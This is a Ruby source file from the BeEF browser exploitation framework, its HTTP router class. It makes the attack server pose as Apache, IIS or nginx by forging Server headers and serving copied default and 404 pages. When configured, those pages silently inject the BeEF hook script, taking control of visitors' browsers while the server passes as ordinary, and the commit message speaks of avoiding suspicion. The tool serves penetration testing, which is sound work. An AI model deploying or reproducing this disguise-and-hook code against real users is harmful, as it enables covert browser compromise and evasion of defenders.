580303a150
As per comments - <parphrased> rate limiting at this point, rate limites everything, and can raise suspiscions.
311 lines
19 KiB
Ruby
311 lines
19 KiB
Ruby
#
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# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
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# Browser Exploitation Framework (BeEF) - http://beefproject.com
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# See the file 'doc/COPYING' for copying permission
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#
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module BeEF
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module Core
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module Router
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#@note This is the main Router parent class.
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#@note All the HTTP handlers registered on BeEF will extend this class.
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class Router < Sinatra::Base
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config = BeEF::Core::Configuration.instance
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configure do
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set :show_exceptions, false
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end
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# @note Override default 404 HTTP response
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not_found do
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if config.get("beef.http.web_server_imitation.enable")
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type = config.get("beef.http.web_server_imitation.type")
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case type
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when "apache"
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#response body
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"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
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"<html><head>" +
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"<title>404 Not Found</title>" +
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"</head><body>" +
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"<h1>Not Found</h1>" +
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"<p>The requested URL was not found on this server.</p>" +
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"<hr>" +
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"<address>Apache/2.2.3 (CentOS)</address>" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
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"</body></html>"
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when "iis"
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#response body
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"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">" +
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"<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
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"<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
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"<STYLE type=\"text/css\">" +
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" BODY { font: 8pt/12pt verdana } " +
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" H1 { font: 13pt/15pt verdana }" +
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" H2 { font: 8pt/12pt verdana }" +
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" A:link { color: red }" +
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" A:visited { color: maroon }" +
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"</STYLE>" +
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"</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
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"<h1>The page cannot be found</h1>" +
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"The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." +
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"<hr>" +
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"<p>Please try the following:</p>" +
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"<ul>" +
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"<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>" +
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"<li>If you reached this page by clicking a link, contact" +
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" the Web site administrator to alert them that the link is incorrectly formatted." +
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"</li>" +
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"<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
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"</ul>" +
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"<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
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"<hr>" +
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"<p>Technical Information (for support personnel)</p>" +
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"<ul>" +
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"<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>" +
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"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
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"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
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"</ul>" +
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"</TD></TR></TABLE>" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
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"</BODY></HTML>"
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when "nginx"
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#response body
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"<html>\n"+
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"<head><title>404 Not Found</title></head>\n" +
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"<body bgcolor=\"white\">\n" +
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"<center><h1>404 Not Found</h1></center>\n" +
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"<hr><center>nginx</center>\n" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
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"</body>\n" +
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"</html>\n"
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else
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"Not Found."
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end
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else
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"Not Found."
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end
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end
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before do
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# @note Override Server HTTP response header
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if config.get("beef.http.web_server_imitation.enable")
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type = config.get("beef.http.web_server_imitation.type")
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case type
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when "apache"
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headers "Server" => "Apache/2.2.3 (CentOS)",
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"Content-Type" => "text/html; charset=UTF-8"
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when "iis"
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headers "Server" => "Microsoft-IIS/6.0",
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"X-Powered-By" => "ASP.NET",
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"Content-Type" => "text/html; charset=UTF-8"
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when "nginx"
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headers "Server" => "nginx",
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"Content-Type" => "text/html"
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else
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print_error "You have an error in beef.http.web_server_imitation.type! Supported values are: apache, iis, nginx."
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end
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end
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# @note If CORS is enabled, expose the appropriate headers
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# this apparently duplicate code is needed to reply to preflight OPTIONS requests, which need to respond with a 200
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# and be able to handle requests with a JSON content-type
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if request.request_method == 'OPTIONS' && config.get("beef.http.restful_api.allow_cors")
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allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
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headers "Access-Control-Allow-Origin" => allowed_domains,
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"Access-Control-Allow-Methods" => "POST, GET",
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"Access-Control-Allow-Headers" => "Content-Type"
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halt 200
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end
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# @note If CORS is enabled, expose the appropriate headers
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if config.get("beef.http.restful_api.allow_cors")
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allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
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headers "Access-Control-Allow-Origin" => allowed_domains,
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"Access-Control-Allow-Methods" => "POST, GET"
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end
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end
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# @note Default root page
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get "/" do
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if config.get("beef.http.web_server_imitation.enable")
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bp = config.get "beef.http.web_ui_basepath"
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type = config.get("beef.http.web_server_imitation.type")
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case type
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when "apache"
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"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">" +
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"<head>" +
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"<title>Apache HTTP Server Test Page powered by CentOS</title>" +
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"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />" +
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"<style type=\"text/css\">" +
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"body {" +
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"background-color: #fff; " +
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"color: #000;" +
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"font-size: 0.9em;" +
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"font-family: sans-serif,helvetica;" +
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"margin: 0;" +
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"padding: 0; " +
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"} " +
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":link { " +
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"color: #0000FF; " +
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"} " +
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":visited { " +
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"color: #0000FF; " +
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"} " +
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"a:hover { " +
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"color: #3399FF; " +
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"} " +
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"h1 { " +
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" text-align: center; " +
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" margin: 0; " +
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" padding: 0.6em 2em 0.4em; " +
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" background-color: #3399FF;" +
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" color: #ffffff; " +
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" font-weight: normal; " +
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" font-size: 1.75em; " +
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" border-bottom: 2px solid #000; " +
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"} " +
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"h1 strong {" +
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"font-weight: bold; " +
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"} " +
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"h2 { " +
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" font-size: 1.1em;" +
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"font-weight: bold; " +
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"} " +
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".content { " +
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" padding: 1em 5em; " +
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"} " +
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".content-columns { " +
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" /* Setting relative positioning allows for " +
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" absolute positioning for sub-classes */ " +
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" position: relative; " +
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" padding-top: 1em; " +
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"} " +
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".content-column-left { " +
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" /* Value for IE/Win; will be overwritten for other browsers */" +
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" width: 47%; " +
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" padding-right: 3%; " +
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" float: left; " +
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" padding-bottom: 2em; " +
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"} " +
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".content-column-right { " +
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" /* Values for IE/Win; will be overwritten for other browsers */" +
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" width: 47%; " +
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" padding-left: 3%; " +
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" float: left; " +
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" padding-bottom: 2em; " +
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"} " +
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".content-columns>.content-column-left, .content-columns>.content-column-right {" +
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" /* Non-IE/Win */" +
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"} " +
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"img { " +
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" border: 2px solid #fff; " +
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" padding: 2px; " +
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" margin: 2px; " +
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"} " +
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"a:hover img { " +
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" border: 2px solid #3399FF; " +
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"} " +
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"</style> " +
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"</head> " +
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"<body> " +
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"<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>" +
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"<div class=\"content\">" +"<div class=\"content-middle\">" +
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"<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>" +
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"</div>" +
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"<hr />" +
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"<div class=\"content-columns\">" +
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"<div class=\"content-column-left\"> " +
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"<h2>If you are a member of the general public:</h2>" +
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"<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>" +
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"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.</p> " +
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"<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".</p>" +
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"</div>" +
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"<div class=\"content-column-right\">" +
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"<h2>If you are the website administrator:</h2>" +
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"<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>" +
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"<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!</p>" +
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"<p><a href=\"http://httpd.apache.org/\"><img src=\"#{bp}/media/images/icons/apache_pb.gif\" alt=\"[ Powered by Apache ]\"/></a> <a href=\"http://www.centos.org/\"><img src=\"#{bp}/media/images/icons/powered_by_rh.png\" alt=\"[ Powered by CentOS Linux ]\" width=\"88\" height=\"31\" /></a></p>" +
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"</div>" +
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"</div>" +
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"</div>" +
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" <div class=\"content\">" +
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"<div class=\"content-middle\"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.</p>" +
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"<p>For information on CentOS please visit the <a href=\"http://www.centos.org/\">CentOS website</a>.</p>" +
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"<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>" +
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"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> " +
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"<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>" +
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"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
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"</div>" +
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"</div>" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
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"</body>" +
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"</html>"
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when "iis"
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"<html>" +
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"<head>" +
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"<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
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"<title ID=titletext>Under Construction</title>" +
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"</head>" +
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"<body bgcolor=white>" +
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"<table>" +
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"<tr>" +
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"<td ID=tableProps width=70 valign=top align=center>" +
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"<img ID=pagerrorImg src=\"#{bp}/media/images/icons/pagerror.gif\" width=36 height=48>" +
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"<td ID=tablePropsWidth width=400>" +
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"<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">" +
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"<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>" +
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"<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; color:black\">" +
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"The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." +
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"<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator." +
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"<hr size=1 color=\"blue\">" +
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"<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help." +
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"<h5 ID=head1>To access IIS Help</h5>" +
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"<ol>" +
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"<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>." +
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"<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears." +
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"<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>." +
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"<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>" +
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"</td>" +
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"</tr>" +
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"</table>" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
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"</body>" +
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"</html>"
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when "nginx"
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"<!DOCTYPE html>\n" +
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"<html>\n" +
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"<head>\n" +
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"<title>Welcome to nginx!</title>\n" +
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"<style>\n" +
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" body {\n" +
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" width: 35em;\n" +
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" margin: 0 auto;\n" +
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" font-family: Tahoma, Verdana, Arial, sans-serif;\n" +
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" }\n" +
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"</style>\n" +
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"</head>\n" +
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"<body>\n" +
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"<h1>Welcome to nginx!</h1>\n" +
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"<p>If you see this page, the nginx web server is successfully installed and\n" +
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"working. Further configuration is required.</p>\n\n" +
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"<p>For online documentation and support please refer to\n" +
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"<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\n" +
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"Commercial support is available at\n" +
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"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
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"<p><em>Thank you for using nginx.</em></p>\n" +
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("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
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"</body>\n" +
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"</html>\n"
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else
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""
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end
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end
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end
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end
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end
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end
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end
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